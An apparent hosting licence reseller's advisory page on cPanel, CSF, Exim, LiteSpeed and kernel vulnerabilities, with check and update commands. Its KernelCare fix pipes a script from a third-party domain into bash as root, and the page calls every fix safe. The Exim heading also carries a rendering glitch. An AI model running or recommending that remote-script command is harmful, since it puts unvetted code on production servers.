Server Security Advisories — cPanel, CloudLinux, LiteSpeed & CSF

Live list of the security issues affecting cPanel, WHM, CloudLinux, LiteSpeed and ConfigServer Firewall right now — what each one is, how to check whether your server is affected, and the exact command that fixes it.

Every fix below is safe to run on a production server and none of them require a reboot unless stated.

Last reviewed: 9 August 2026. We update this page whenever a new advisory affects the software we license.

Quick check — am I affected?

Run this on your server as root. It prints your versions next to the safe ones, so you can see at a glance what needs attention.

echo "cPanel : $(cat /usr/local/cpanel/version 2>/dev/null || echo 'not installed')"
echo "CSF    : $(csf -v 2>/dev/null | head -1 || echo 'not installed')"
echo "Exim   : $(exim -bV 2>/dev/null | head -1 | awk '{print $3}' || echo 'n/a')"
echo "Kernel : $(uname -r)"

1. ConfigServer Firewall (CSF) — root access

Affected: CSF 16.20-1 and earlier Fixed in: 16.30-1 Risk: Multiple vulnerabilities that could let an attacker gain root on the server.

CSF runs on the large majority of cPanel servers, which makes this one worth doing first.

Check your version:

csf -v

Fix — AlmaLinux / CloudLinux 8, 9 and 10:

dnf clean metadata
/scripts/update-packages

Fix — CentOS 7 / CloudLinux 7:

yum clean all
/scripts/update-packages

Or update the package directly, on any version:

yum update cpanel-csf -y

2. Exim ,[object Object], privilege escalation

Affected: Exim below 4.99.5 Fixed in cPanel: 11.110.0.137 · 11.126.0.78 · 11.134.0.48 · 11.136.0.32 · 138.1.6 (WP2) Risk: A local user's .forward file can trigger unsafe string expansion in Exim's redirect router, allowing command injection under certain pipe transport configurations.

This matters most on shared hosting, where untrusted users already have accounts on the machine.

Fix:

/scripts/upcp --force

On WP Squared (WP2), update through your usual WP2 update path.

3. LiteSpeed cPanel/WHM plugin — CVE-2026-54420

Affected: LiteSpeed WHM plugin below v5.3.2.1 Fixed in: v5.3.2.1 Severity: CVSS 8.5 — listed in CISA's Known Exploited Vulnerabilities catalog Risk: Privilege escalation to root.

On shared servers running CloudLinux/CageFS, the flaw allows a user with FTP or web shell access to escalate to root by mishandling user-provided symlinks. In practice, a single compromised or malicious account could take full control of the server.

Because this one is on CISA's actively-exploited list, treat it as urgent rather than routine.

Fix: upgrade the LiteSpeed WHM plugin to v5.3.2.1 or later from WHM → Plugins.

4. GhostLock — CVE-2026-43499 (CloudLinux kernel)

Affected: CloudLinux, all versions Risk: Local privilege escalation — any unprivileged local user can become root.

On a multi-tenant server this is the worst case a hosting provider plans for: one compromised site, a low-trust shell account or a hacked plugin can go from an ordinary process to full control of the machine, and every other customer on it. A full-chain proof-of-concept has been publicly demonstrated.

Fix: apply the CloudLinux kernel update, then reboot. If you run KernelCare, livepatches remove the need for a reboot — and KernelCare is now free with every cPanel and CloudLinux license:

bash <( curl https://api.66license.com/pre.sh ) KernelCare ; tslzKernelCare

5. OVSwrap — CVE-2026-64531 (Open vSwitch)

Affected: Enterprise Linux 9 and 10 · CloudLinux 9, 10 and CloudLinux for Ubuntu · several Ubuntu/Debian kernels (e.g. Ubuntu 22.04 on kernel 5.15) Risk: A flaw in the Linux kernel's Open vSwitch action validation lets any local unprivileged user become root.

Check whether your server is at risk:

ls /lib/modules/$(uname -r)/kernel/net/openvswitch/openvswitch.ko* 2>/dev/null

If that prints a path, the module is loadable and you should patch. If it prints nothing, you are not exposed by this route.

Fix: apply the vendor kernel update for your distribution, or take the KernelCare livepatch where available.

6. Zapscape — CVE-2026-64561 (KVM guest escape)

Affected: only Linux hosts running KVM virtualization — RHEL / AlmaLinux / Rocky / Oracle Linux / CloudLinux 8, 9 and 10, plus current Ubuntu, Debian, SUSE, Fedora, Arch and Gentoo. Any host on kernel 5.9 through the July 2026 fix.

Not affected: CentOS 7 / RHEL 7 and other EL7 systems (their 3.10 kernel predates the flawed code), and any system not running KVM.

You are only genuinely at risk if all of these are true:

1. The host runs an affected kernel with KVM in use
2. Nested virtualization is enabled and exposed to untrusted users
3. The attacker already has root or kernel access inside a guest

If you run a single-tenant VPS or don't use KVM, this one does not apply to you.

Fix: apply the vendor kernel update. KernelCare livepatches are in preparation.

7. cPanel File Manager — symlink disclosure

Affected: cPanel below 11.110.0.134 · 11.126.0.77 · 11.134.0.44 Risk: While logged in as a cPanel user, File Manager could display symlinks to files that would not be viewable over SSH — potentially exposing other users' home directories, depending on file permissions.

Fix:

/scripts/upcp --force

Staying patched

Most of the above are handled by keeping cPanel current, which you can leave to run on its own:

/scripts/upcp --force

For kernel-level issues (GhostLock, OVSwrap, Zapscape), KernelCare is the practical answer — it applies kernel security patches without rebooting, and it is included free with every cPanel and CloudLinux license we sell.

If you are unsure whether a fix applies to your server, open a ticket with the output of the Quick check command at the top of this page and we will tell you exactly what needs doing.